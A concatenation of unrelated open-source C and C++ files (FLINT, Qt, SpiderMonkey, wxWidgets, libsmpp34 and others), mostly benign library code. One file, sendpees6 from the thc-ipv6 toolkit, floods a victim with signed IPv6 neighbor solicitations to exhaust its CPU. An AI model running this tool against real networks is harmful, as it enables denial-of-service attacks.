nuiStyleSheetDoneDelegate& rDelegate = nuiStyleSheetDoneDelegate()); static nuiCSSStyleSheet* CreateStyleSheet(const nglString& rURL, nglIStream& rStream, bool Inline, const nglString& rCharset, const nuiStyleSheetDoneDelegate& rDelegate = nuiStyleSheetDoneDelegate()); static nuiCSSStyleSheet* CreateStyleSheet(const nglString& rURL, const nuiStyleSheetDoneDelegate& rDelegate = nuiStyleSheetDoneDelegate()); void Test(); private: nuiCSSEngine(); ~nuiCSSEngine(); friend class nuiSingletonHolder<nuiCSSEngine>; static nuiSingletonHolder<nuiCSSEngine> gCSSEngine; };
/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sts=4 et sw=4 tw=99: * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef gc_Memory_h #define gc_Memory_h #include <stddef.h> namespace js { namespace gc { // Sanity check that our compiled configuration matches the currently // running instance and initialize any runtime data needed for allocation. void InitMemorySubsystem(); size_t SystemPageSize(); // Allocate or deallocate pages from the system with the given alignment. void* MapAlignedPages(size_t size, size_t alignment); void UnmapPages(void* p, size_t size); // Tell the OS that the given pages are not in use, so they should not be // written to a paging file. This may be a no-op on some platforms. bool MarkPagesUnused(void* p, size_t size); // Undo |MarkPagesUnused|: tell the OS that the given pages are of interest // and should be paged in and out normally. This may be a no-op on some // platforms. void MarkPagesInUse(void* p, size_t size); // Returns #(hard faults) + #(soft faults) size_t GetPageFaultCount(); // Allocate memory mapped content. // The offset must be aligned according to alignment requirement. void* AllocateMappedContent(int fd, size_t offset, size_t length, size_t alignment); // Deallocate memory mapped content. void DeallocateMappedContent(void* p, size_t length); void* TestMapAlignedPagesLastDitch(size_t size, size_t alignment); void ProtectPages(void* p, size_t size); void MakePagesReadOnly(void* p, size_t size); void UnprotectPages(void* p, size_t size); } // namespace gc } // namespace js #endif /* gc_Memory_h */
#include <stdio.h> #include <string.h> #ifndef _HAVE_SSL int main() { fprintf(stderr, "Error: thc-ipv6 was compiled without openssl support, sendpees6 disabled.\n"); return -1; } #else #include <pcap.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <openssl/rsa.h> #include "thc-ipv6.h" int main(int argc, char **argv) { thc_cga_hdr *cga_opt; thc_key_t *key; struct in6_addr addr6; unsigned char *pkt = NULL; unsigned char *dst6, *cga, *dev; char dummy[24], prefix[8], addr[50]; char dsthw[] = "\xff\xff\xff\xff\xff\xff"; char srchw[] = "\xdd\xde\xad\xbe\xef\xff"; int pkt_len = 0; if (argc != 5) { printf("sendpees6 by willdamn <willdamn@gmail.com>\n\n"); printf("Syntax: %s interface key_length prefix victim\n\n", argv[0]); printf("Send SEND neighbor solicitation messages and make target to verify a lota CGA and RSA signatures\n\n"); exit(1); } dev = argv[1]; if (thc_get_own_ipv6(dev, NULL, PREFER_LINK) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", dev); exit(-1); } memcpy(addr, argv[3], 50); inet_pton(PF_INET6, addr, &addr6); memcpy(prefix, &addr6, 8); key = thc_generate_key(atoi(argv[2])); if (key == NULL) { printf("Couldn't generate key!"); exit(1); } cga_opt = thc_generate_cga(prefix, key, &cga); if (cga_opt == NULL) { printf("Error during CGA generation"); exit(1); } dst6 = thc_resolve6(argv[4]); memset(dummy, 'X', sizeof(dummy)); dummy[16] = 1; dummy[17] = 1; memcpy(dummy, dst6, 16); if ((pkt = thc_create_ipv6_extended(dev, PREFER_GLOBAL, &pkt_len, cga, dst6, 0, 0, 0, 0, 0)) == NULL) { printf("Cannot create IPv6 header\n"); exit(1); } if (thc_add_send(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0xfacebabe, 0x0, dummy, 24, cga_opt, key, NULL, 0) < 0) { printf("Cannot add SEND options\n"); exit(1); } free(cga_opt); if (thc_generate_pkt(dev, srchw, dsthw, pkt, &pkt_len) < 0) { fprintf(stderr, "Couldn't generate IPv6 packet!\n"); exit(1); } printf("Sending..."); fflush(stdout); while (1) thc_send_pkt(dev, pkt, &pkt_len); return 0; } #endif
/** * Filename : compile_etopo.c * Created by : StephPen - stephpen@gmail.com * Update : 11:14 02/01/2011 * (c) 2008 by Stephane PENOT * See COPYING file for copying and redistribution conditions. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * Comments : * * * * * * Contact: <stephpen@gmail.com> */ #include <stdio.h> int main (int argc, char **argv) { struct header { int version; int pasx; int pasy; int xmin; int ymin; int xmax; int ymax; int p1; int p2; int p3; int p4; int p5; }; char EtopoPath[1024]; FILE *EtopoFile; char EtopoCompPath[1024]; FILE *EtopoCompFile; char buffer[1024]; short int z; double x, y; int c; if (argc < 2 || argc > 3) { fprintf (stderr, "Sorry !!\n"); fprintf (stderr, "Usage: compile_etopo file\n\n"); return 0; } sprintf(EtopoPath, "%s", argv[1]); if ((EtopoFile = fopen (EtopoPath, "rb")) == NULL ) { fprintf (stderr, "Impossible d'ouvrir le fichier %s\n", EtopoPath); return 0; } sprintf(EtopoCompPath, "%s.dat", EtopoPath); if ((EtopoCompFile = fopen (EtopoCompPath, "wb")) == NULL ) { fprintf (stderr, "Impossible d'ouvrir le fichier %s\n", EtopoCompPath); return 0; } c=0; while (fgets(buffer, sizeof(buffer), EtopoFile)) { //printf("%s", buffer); if (sscanf(buffer, "%lf, %lf, %hd", &x, &y, &z) == 3) { //printf("x: %lf y: %lf z: %hd\n\n", x, y, z); fwrite(&z, sizeof(short int), 1, EtopoCompFile); c++; } else { printf("%s", buffer); printf("c: %d\n", c); printf("x: %lf y: %lf z: %d\n", x, y, z); break; } } // printf("c: %d\n", c); // printf("x: %lf y: %lf z: %d\n", x, y, z); fclose(EtopoFile); fclose(EtopoCompFile); return 0; }
/* Internal Fire Algorithm Flag unsigned int bits[11] * 0 -> class 0: Fire * 1 -> class 1: No fire */ #include <grass/raster.h> CELL mod09A1sg(CELL pixel) { CELL qctemp; pixel >>= 11; qctemp = pixel & 0x01; return qctemp; }
#ifndef NTL_mat_poly_ZZ__H #define NTL_mat_poly_ZZ__H #include <NTL/mat_ZZ.h> #include <NTL/ZZX.h> NTL_OPEN_NNS void CharPoly(ZZX& f, const mat_ZZ& M, long deterministic=0); NTL_CLOSE_NNS #endif
/** * @file AIOperation.h * @brief */ #ifndef __LLRP_READER__AIOPERATION_H__ #define __LLRP_READER__AIOPERATION_H__ namespace ELFIN { class StubReader; class StubAntenna; class AbstractAntennaOperation; class AIOperation; class AOAdmin; } namespace ELFIN { /** @class AIOperation * @brief A single antenna inventory operation generated based on the AISpec parameter in the given ROSpec. */ class AIOperation: public ELFIN::AbstractAntennaOperation { public: /// Constructor of AIOperation class AIOperation (LLRP::CROSpec *__pROSpec, LLRP::CAISpec *__pAISpec, StubReader *__pReader, ReaderOperation *__pRO, AOAdmin *__pAOAdmin, int __pSpecIndex); /// Destructor of AIOperation class ~AIOperation(); /// Add the given pRpt to the pSet. If the same EPC number exists in the vector, then overwrite it. static int addTagReportUnique(TagReportSet *pSet, LLRP::CTagReportData *pRpt); /// Run the AIOperation according to the CAISpec TagReportSet *run(); private: LLRP::CROSpec* _pROSpec; LLRP::CAISpec* _pAISpec; LLRP::CROReportSpec* _pROReportSpec; LLRP::CC1G2EPCMemorySelector* _pMemSelector; /// CTagReportData container TagReportSet *_pTagReportSet; boost::thread _pAISpecStopTriggerThread; int isOnSingulation; AOAdmin *_pAOAdmin; /// Create base tag report data for the given StubTag. LLRP::CTagReportData *createTagReportData(StubTag *pStubTag, int pInvSpecID); /// This method is used to make thread for stop trigger which is related to time. After given time, interrupts tag singulation. void run_AISpecStopTriggerThread(int stopMS); }; } #endif /* __LLRP_READER__AIOPERATION_H__ */
/**************************************************************************** ** ** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). ** All rights reserved. ** Contact: Nokia Corporation (qt-info@nokia.com) ** ** This file is part of the Qt3Support module of the Qt Toolkit. ** ** $QT_BEGIN_LICENSE:LGPL$ ** Commercial Usage ** Licensees holding valid Qt Commercial licenses may use this file in ** accordance with the Qt Commercial License Agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and Nokia. ** ** GNU Lesser General Public License Usage ** Alternatively, this file may be used under the terms of the GNU Lesser ** General Public License version 2.1 as published by the Free Software ** Foundation and appearing in the file LICENSE.LGPL included in the ** packaging of this file. Please review the following information to ** ensure the GNU Lesser General Public License version 2.1 requirements ** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** In addition, as a special exception, Nokia gives you certain additional ** rights. These rights are described in the Nokia Qt LGPL Exception ** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. ** ** GNU General Public License Usage ** Alternatively, this file may be used under the terms of the GNU ** General Public License version 3.0 as published by the Free Software ** Foundation and appearing in the file LICENSE.GPL included in the ** packaging of this file. Please review the following information to ** ensure the GNU General Public License version 3.0 requirements will be ** met: http://www.gnu.org/copyleft/gpl.html. ** ** If you have questions regarding the use of this file, please contact ** Nokia at qt-info@nokia.com. ** $QT_END_LICENSE$ ** ****************************************************************************/ #ifndef Q3SYNTAXHIGHLIGHTER_P_H #define Q3SYNTAXHIGHLIGHTER_P_H // // W A R N I N G // ------------- // // This file is not part of the Qt API. It exists purely as an // implementation detail. This header file may change from version to // version without notice, or even be removed. // // We mean it. // #ifndef QT_NO_SYNTAXHIGHLIGHTER #include "q3syntaxhighlighter.h" #include "private/q3richtext_p.h" QT_BEGIN_NAMESPACE class Q3SyntaxHighlighterPrivate { public: Q3SyntaxHighlighterPrivate() : currentParagraph(-1) {} int currentParagraph; }; class Q3SyntaxHighlighterInternal : public Q3TextPreProcessor { public: Q3SyntaxHighlighterInternal(Q3SyntaxHighlighter *h) : highlighter(h) {} void process(Q3TextDocument *doc, Q3TextParagraph *p, int, bool invalidate) { if (p->prev() && p->prev()->endState() == -1) process(doc, p->prev(), 0, false); highlighter->para = p; QString text = p->string()->toString(); int endState = p->prev() ? p->prev()->endState() : -2; int oldEndState = p->endState(); highlighter->d->currentParagraph = p->paragId(); p->setEndState(highlighter->highlightParagraph(text, endState)); highlighter->d->currentParagraph = -1; highlighter->para = 0; p->setFirstPreProcess(false); Q3TextParagraph *op = p; p = p->next(); if ((!!oldEndState || !!op->endState()) && oldEndState != op->endState() && invalidate && p && !p->firstPreProcess() && p->endState() != -1) { while (p) { if (p->endState() == -1) return; p->setEndState(-1); p = p->next(); } } } Q3TextFormat *format(int) { return 0; } private: Q3SyntaxHighlighter *highlighter; friend class Q3TextEdit; }; #endif // QT_NO_SYNTAXHIGHLIGHTER QT_END_NAMESPACE #endif // Q3SYNTAXHIGHLIGHTER_P_H
/* Copyright (C) 2015 Vladimir Glazachev This file is part of FLINT. FLINT is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License (LGPL) as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. See <https://www.gnu.org/licenses/>. */ #include "aprcl.h" void unity_zpq_clear(unity_zpq f) { slong i; for (i = 0; i < f->p; i++) { fmpz_mod_poly_clear(f->polys[i], f->ctx); } f->p = 0; f->q = 0; fmpz_mod_ctx_clear(f->ctx); flint_free(f->polys); }
/* vi: set et sw=4 ts=4 cino=t0,(0: */ /* -*- Mode: C; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* * This file is part of libaccounts-glib * * Copyright (C) 2010 Nokia Corporation. * * Contact: Alberto Mardegan <alberto.mardegan@canonical.com> * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public License * version 2.1 as published by the Free Software Foundation. * * This library is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA * 02110-1301 USA */ #include "ag-debug.h" static const GDebugKey debug_keys[] = { { "time", AG_DEBUG_TIME }, { "refs", AG_DEBUG_REFS }, { "locks", AG_DEBUG_LOCKS }, { "queries", AG_DEBUG_QUERIES }, { "info", AG_DEBUG_INFO }, }; static AgDebugLevel debug_level = AG_DEBUG_LOCKS; void _ag_debug_init (void) { const gchar *env; static gboolean initialized = FALSE; if (initialized) return; initialized = TRUE; env = g_getenv ("AG_DEBUG"); if (env) { debug_level = g_parse_debug_string (env, debug_keys, G_N_ELEMENTS(debug_keys)); } } AgDebugLevel _ag_debug_get_level (void) { return debug_level; }
/* * Copyright (C) 2012-2014 Red Hat, Inc. * * Licensed under the GNU Lesser General Public License Version 2.1 * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef HY_TYPES_H #define HY_TYPES_H #ifdef __cplusplus extern "C" { #endif #ifdef __cplusplus enum _HyForm :short ; #else typedef enum _HyForm HyForm; #endif typedef struct _HyAdvisory * HyAdvisory; typedef struct _HyAdvisoryList * HyAdvisoryList; typedef struct _HyAdvisoryPkg * HyAdvisoryPkg; typedef struct _HyAdvisoryPkgList * HyAdvisoryPkgList; typedef struct _HyAdvisoryRef * HyAdvisoryRef; typedef struct _HyAdvisoryRefList * HyAdvisoryRefList; typedef struct _HyRepo * HyRepo; typedef struct _HyGoal * HyGoal; typedef struct _HyNevra * HyNevra; typedef struct _HyPackage * HyPackage; typedef struct _HyPackageDelta * HyPackageDelta; typedef struct _HyPackageList * HyPackageList; typedef struct _HyPackageListIter * HyPackageListIter; typedef struct _HyPackageSet * HyPackageSet; typedef struct _HyPossibilities * HyPossibilities; typedef struct _HyQuery * HyQuery; typedef struct _HyReldep * HyReldep; typedef struct _HyReldepList * HyReldepList; typedef struct _HySack * HySack; typedef struct _HySelector * HySelector; typedef char ** HyStringArray; typedef char * HySubject; typedef const unsigned char HyChecksum; typedef int (*hy_solution_callback)(HyGoal goal, void *callback_data); #define HY_SYSTEM_REPO_NAME "@System" #define HY_CMDLINE_REPO_NAME "@commandline" #define HY_EXT_FILENAMES "-filenames" #define HY_EXT_UPDATEINFO "-updateinfo" #define HY_EXT_PRESTO "-presto" #define HY_CHKSUM_MD5 1 #define HY_CHKSUM_SHA1 2 #define HY_CHKSUM_SHA256 3 #define HY_CHKSUM_SHA512 4 enum _hy_key_name_e { HY_PKG, HY_PKG_ALL, HY_PKG_ARCH, HY_PKG_CONFLICTS, HY_PKG_DESCRIPTION, HY_PKG_EPOCH, HY_PKG_EVR, HY_PKG_FILE, HY_PKG_NAME, HY_PKG_NEVRA, HY_PKG_OBSOLETES, HY_PKG_PROVIDES, HY_PKG_RELEASE, HY_PKG_REPONAME, HY_PKG_REQUIRES, HY_PKG_SOURCERPM, HY_PKG_SUMMARY, HY_PKG_URL, HY_PKG_VERSION, HY_PKG_LOCATION }; enum _hy_comparison_type_e { /* part 1: flags that mix with all types */ HY_ICASE = 1 << 0, HY_NOT = 1 << 1, HY_COMPARISON_FLAG_MASK = HY_ICASE | HY_NOT, /* part 2: comparison types that mix with each other */ HY_EQ = (1 << 8), HY_LT = (1 << 9), HY_GT = (1 << 10), /* part 3: comparison types that only make sense for strings */ HY_SUBSTR = (1 << 11), HY_GLOB = (1 << 12), /* part 4: frequently used combinations */ HY_NEQ = HY_EQ | HY_NOT, /* part 5: additional flags, not necessarily used for queries */ HY_NAME_ONLY = (1 << 16), }; #ifdef __cplusplus } #endif #endif /* HY_TYPES_H */
///////////////////////////////////////////////////////////////////////////// // Name: valgen.h // Purpose: interface of wxGenericValidator // Author: wxWidgets team // RCS-ID: $Id$ // Licence: wxWindows licence ///////////////////////////////////////////////////////////////////////////// /** @class wxGenericValidator wxGenericValidator performs data transfer (but not validation or filtering) for many type of controls. wxGenericValidator supports: - wxButton, wxRadioButton, wxToggleButton, wxBitmapToggleButton, wxSpinButton - wxCheckBox, wxRadioBox, wxComboBox, wxListBox, wxCheckListBox - wxGauge, wxSlider, wxScrollBar, wxChoice, wxStaticText - wxSpinCtrl, wxTextCtrl It checks the type of the window and uses an appropriate type for it. For example, wxButton and wxTextCtrl transfer data to and from a wxString variable; wxListBox uses a wxArrayInt; wxCheckBox uses a boolean. For more information, please see @ref overview_validator. @library{wxcore} @category{validator} @see @ref overview_validator, wxValidator, wxTextValidator, wxIntegerValidator, wxFloatingPointValidator */ class wxGenericValidator : public wxValidator { public: /** Copy constructor. @param validator Validator to copy. */ wxGenericValidator(const wxGenericValidator& validator); /** Constructor taking a bool pointer. This will be used for wxCheckBox, wxRadioButton, wxToggleButton and wxBitmapToggleButton. @param valPtr A pointer to a variable that contains the value. This variable should have a lifetime equal to or longer than the validator lifetime (which is usually determined by the lifetime of the window). */ wxGenericValidator(bool* valPtr); /** Constructor taking a wxString pointer. This will be used for wxButton, wxComboBox, wxStaticText, wxTextCtrl. @param valPtr A pointer to a variable that contains the value. This variable should have a lifetime equal to or longer than the validator lifetime (which is usually determined by the lifetime of the window). */ wxGenericValidator(wxString* valPtr); /** Constructor taking an integer pointer. This will be used for wxChoice, wxGauge, wxScrollBar, wxRadioBox, wxSlider, wxSpinButton and wxSpinCtrl. @param valPtr A pointer to a variable that contains the value. This variable should have a lifetime equal to or longer than the validator lifetime (which is usually determined by the lifetime of the window). */ wxGenericValidator(int* valPtr); /** Constructor taking a wxArrayInt pointer. This will be used for wxListBox, wxCheckListBox. @param valPtr A pointer to a variable that contains the value. This variable should have a lifetime equal to or longer than the validator lifetime (which is usually determined by the lifetime of the window). */ wxGenericValidator(wxArrayInt* valPtr); /** Constructor taking a wxDateTime pointer. This will be used for wxDatePickerCtrl. @param valPtr A pointer to a variable that contains the value. This variable should have a lifetime equal to or longer than the validator lifetime (which is usually determined by the lifetime of the window). */ wxGenericValidator(wxDateTime* valPtr); /** Constructor taking a wxFileName pointer. This will be used for wxTextCtrl. @param valPtr A pointer to a variable that contains the value. This variable should have a lifetime equal to or longer than the validator lifetime (which is usually determined by the lifetime of the window). @since 2.9.3 */ wxGenericValidator(wxFileName* valPtr); /** Constructor taking a float pointer. This will be used for wxTextCtrl. @param valPtr A pointer to a variable that contains the value. This variable should have a lifetime equal to or longer than the validator lifetime (which is usually determined by the lifetime of the window). @since 2.9.3 */ wxGenericValidator(float* valPtr); /** Constructor taking a double pointer. This will be used for wxTextCtrl. @param valPtr A pointer to a variable that contains the value. This variable should have a lifetime equal to or longer than the validator lifetime (which is usually determined by the lifetime of the window). @since 2.9.3 */ wxGenericValidator(double* valPtr); /** Destructor. */ virtual ~wxGenericValidator(); /** Clones the generic validator using the copy constructor. */ virtual wxObject* Clone() const; /** Transfers the value from the window to the appropriate data type. */ virtual bool TransferFromWindow(); /** Transfers the value to the window. */ virtual bool TransferToWindow(); };
/* Copyright (C) 2010 William Hart Copyright (C) 2011 Fredrik Johansson Copyright (C) 2014 Abhinav Baid This file is part of FLINT. FLINT is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License (LGPL) as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. See <http://www.gnu.org/licenses/>. */ #include <stdio.h> #include <stdlib.h> #include <gmp.h> #include "flint.h" #include "fmpz.h" #include "fmpz_mat.h" #include "ulong_extras.h" int main(void) { int i; FLINT_TEST_INIT(state); flint_printf("get_d_mat...."); fflush(stdout); /* set entries of an fmpz_mat, convert to d_mat and then check that the entries remain same */ for (i = 0; i < 1000 * flint_test_multiplier(); i++) { fmpz_mat_t A; d_mat_t B; slong j, k; slong rows = n_randint(state, 10); slong cols = n_randint(state, 10); fmpz_mat_init(A, rows, cols); d_mat_init(B, rows, cols); for (j = 0; j < rows; j++) { for (k = 0; k < cols; k++) { fmpz_set_ui(fmpz_mat_entry(A, j, k), 3 * j + 7 * k); } } fmpz_mat_get_d_mat(B, A); for (j = 0; j < rows; j++) { for (k = 0; k < cols; k++) { if (d_mat_entry(B, j, k) != 3 * j + 7 * k) { flint_printf("FAIL: j = %wd, k = %wd\n", j, k); fmpz_mat_print_pretty(A); d_mat_print(B); abort(); } } } fmpz_mat_clear(A); d_mat_clear(B); } FLINT_TEST_CLEANUP(state); flint_printf("PASS\n"); return 0; }
/**************************************************************************** ** ** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). ** Contact: http://www.qt-project.org/legal ** ** This file is part of the Qt Assistant of the Qt Toolkit. ** ** $QT_BEGIN_LICENSE:LGPL$ ** Commercial License Usage ** Licensees holding valid commercial Qt licenses may use this file in ** accordance with the commercial license agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and Digia. For licensing terms and ** conditions see http://qt.digia.com/licensing. For further information ** use the contact form at http://qt.digia.com/contact-us. ** ** GNU Lesser General Public License Usage ** Alternatively, this file may be used under the terms of the GNU Lesser ** General Public License version 2.1 as published by the Free Software ** Foundation and appearing in the file LICENSE.LGPL included in the ** packaging of this file. Please review the following information to ** ensure the GNU Lesser General Public License version 2.1 requirements ** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** In addition, as a special exception, Digia gives you certain additional ** rights. These rights are described in the Digia Qt LGPL Exception ** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. ** ** GNU General Public License Usage ** Alternatively, this file may be used under the terms of the GNU ** General Public License version 3.0 as published by the Free Software ** Foundation and appearing in the file LICENSE.GPL included in the ** packaging of this file. Please review the following information to ** ensure the GNU General Public License version 3.0 requirements will be ** met: http://www.gnu.org/copyleft/gpl.html. ** ** ** $QT_END_LICENSE$ ** ****************************************************************************/ #ifndef TOPICCHOOSER_H #define TOPICCHOOSER_H #include "ui_topicchooser.h" #include <QDialog> #include <QStringList> QT_BEGIN_NAMESPACE class TopicChooser : public QDialog { Q_OBJECT public: TopicChooser(QWidget *parent, const QStringList &lnkNames, const QStringList &lnks, const QString &title); QString link() const; static QString getLink(QWidget *parent, const QStringList &lnkNames, const QStringList &lnks, const QString &title); private slots: void on_buttonDisplay_clicked(); void on_buttonCancel_clicked(); void on_listbox_itemActivated(QListWidgetItem *item); private: Ui::TopicChooser ui; QString theLink; QStringList links, linkNames; }; #endif // TOPICCHOOSER_H QT_END_NAMESPACE
/* * Copyright (C) 2006 Raul Tremsal * File : submit_multi_resp_test.c * Author: Raul Tremsal <ultraismo@yahoo.com> * * This file is part of libsmpp34 (c-open-smpp3.4 library). * * The libsmpp34 library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public License as * published by the Free Software Foundation; either version 2.1 of the * License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public * License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this library; if not, write to the Free Software Foundation, * Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * */ #include <stdio.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #ifdef __linux__ #include <stdint.h> #endif #include "smpp34.h" #include "smpp34_structs.h" #include "smpp34_params.h" #include "core.h" int main( int argc, char *argv[] ) { submit_multi_resp_t a; submit_multi_resp_t b; udad_t udad; memset(&a, 0, sizeof(submit_multi_resp_t)); memset(&b, 0, sizeof(submit_multi_resp_t)); memset(&udad, 0, sizeof( udad_t )); /* Init PDU ***********************************************************/ b.command_length = 0; b.command_id = SUBMIT_MULTI_RESP; b.command_status = ESME_ROK; b.sequence_number = 1; snprintf( (char*)b.message_id, sizeof(b.message_id), "%s", "88898239379"); b.no_unsuccess = 3; /* Unsuccess submitted list of DAD ************************************/ udad.dest_addr_ton = 2; udad.dest_addr_npi = 1; snprintf( (char*)udad.destination_addr, sizeof(udad.destination_addr), "%s", "9911112222"); udad.error_status_code = ESME_RX_T_APPN; build_udad( &(b.unsuccess_smes), &udad ); udad.dest_addr_ton = 0; udad.dest_addr_npi = 0; snprintf( (char*)udad.destination_addr, sizeof(udad.destination_addr), "%s", "9922223333"); udad.error_status_code = ESME_RX_P_APPN; build_udad( &(b.unsuccess_smes), &udad ); udad.dest_addr_ton = 2; udad.dest_addr_npi = 1; snprintf( (char*)udad.destination_addr, sizeof(udad.destination_addr), "%s", "9933334444"); udad.error_status_code = ESME_RX_R_APPN; build_udad( &(b.unsuccess_smes), &udad ); /**********************************************************************/ doTest(SUBMIT_MULTI_RESP, &a, &b); destroy_udad( b.unsuccess_smes ); destroy_udad( a.unsuccess_smes ); return( 0 ); };
/**************************************************************************** ** ** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). ** All rights reserved. ** Contact: Nokia Corporation (qt-info@nokia.com) ** ** This file is part of the Qt Mobility Components. ** ** $QT_BEGIN_LICENSE:LGPL$ ** GNU Lesser General Public License Usage ** This file may be used under the terms of the GNU Lesser General Public ** License version 2.1 as published by the Free Software Foundation and ** appearing in the file LICENSE.LGPL included in the packaging of this ** file. Please review the following information to ensure the GNU Lesser ** General Public License version 2.1 requirements will be met: ** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** In addition, as a special exception, Nokia gives you certain additional ** rights. These rights are described in the Nokia Qt LGPL Exception ** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. ** ** GNU General Public License Usage ** Alternatively, this file may be used under the terms of the GNU General ** Public License version 3.0 as published by the Free Software Foundation ** and appearing in the file LICENSE.GPL included in the packaging of this ** file. Please review the following information to ensure the GNU General ** Public License version 3.0 requirements will be met: ** http://www.gnu.org/copyleft/gpl.html. ** ** Other Usage ** Alternatively, this file may be used in accordance with the terms and ** conditions contained in a signed written agreement between you and Nokia. ** ** ** ** ** ** $QT_END_LICENSE$ ** ****************************************************************************/ #ifndef QCONTACTMAEMO5DEBUG_P_H #define QCONTACTMAEMO5DEBUG_P_H #include <QDebug> /* To Enable debugging of Maemo5 Contact plugin set QCONTACT_MAEMO5_DEBUG env var * eg: export QCONTACT_MAEMO5_DEBUG=1 */ extern bool QCM5_DEBUG_ENABLED; /* This Macro must be defined only one time*/ #define DEFINE_GLOBAL_DEBUG_VAR bool QCM5_DEBUG_ENABLED; /* Define Macros for debugging */ #define QCM5_DEBUG if (QCM5_DEBUG_ENABLED) qDebug() /* Check env var and switch on/off debugging */ static inline void initDebugLogger(){ QCM5_DEBUG_ENABLED = !qgetenv("QCONTACT_MAEMO5_DEBUG").isEmpty(); QCM5_DEBUG << "Logging has been enabled"; } #endif
/* Copyright (C) 2009, 2011 William Hart This file is part of FLINT. FLINT is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License (LGPL) as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. See <https://www.gnu.org/licenses/>. */ #include "gmp.h" #include "flint.h" #include "fft.h" void ifft_negacyclic(mp_limb_t ** ii, mp_size_t n, flint_bitcnt_t w, mp_limb_t ** t1, mp_limb_t ** t2, mp_limb_t ** temp) { mp_size_t i; mp_size_t limbs = (w*n)/FLINT_BITS; ifft_radix2(ii, n/2, 2*w, t1, t2); ifft_radix2(ii+n, n/2, 2*w, t1, t2); if (w & 1) { for (i = 0; i < n; i++) { ifft_butterfly(*t1, *t2, ii[i], ii[n+i], i, limbs, w); SWAP_PTRS(ii[i], *t1); SWAP_PTRS(ii[n+i], *t2); fft_adjust(*t1, ii[i], n - i/2, limbs, w); mpn_neg_n(*t1, *t1, limbs + 1); SWAP_PTRS(ii[i], *t1); fft_adjust(*t2, ii[n+i], n - (n+i)/2, limbs, w); mpn_neg_n(*t2, *t2, limbs + 1); SWAP_PTRS(ii[n+i], *t2); i++; ifft_butterfly(*t1, *t2, ii[i], ii[n+i], i, limbs, w); SWAP_PTRS(ii[i], *t1); SWAP_PTRS(ii[n+i], *t2); fft_adjust_sqrt2(*t1, ii[i], 2*n-i, limbs, w, *temp); mpn_neg_n(*t1, *t1, limbs + 1); SWAP_PTRS(ii[i], *t1); fft_adjust_sqrt2(*t2, ii[n+i], n-i, limbs, w, *temp); mpn_neg_n(*t2, *t2, limbs + 1); SWAP_PTRS(ii[n+i], *t2); } } else { for (i = 0; i < n; i++) { ifft_butterfly(*t1, *t2, ii[i], ii[n+i], i, limbs, w); SWAP_PTRS(ii[i], *t1); SWAP_PTRS(ii[n+i], *t2); fft_adjust(*t1, ii[i], 2*n-i, limbs, w/2); mpn_neg_n(*t1, *t1, limbs + 1); SWAP_PTRS(ii[i], *t1); fft_adjust(*t2, ii[n+i], n-i, limbs, w/2); mpn_neg_n(*t2, *t2, limbs + 1); SWAP_PTRS(ii[n+i], *t2); } } }
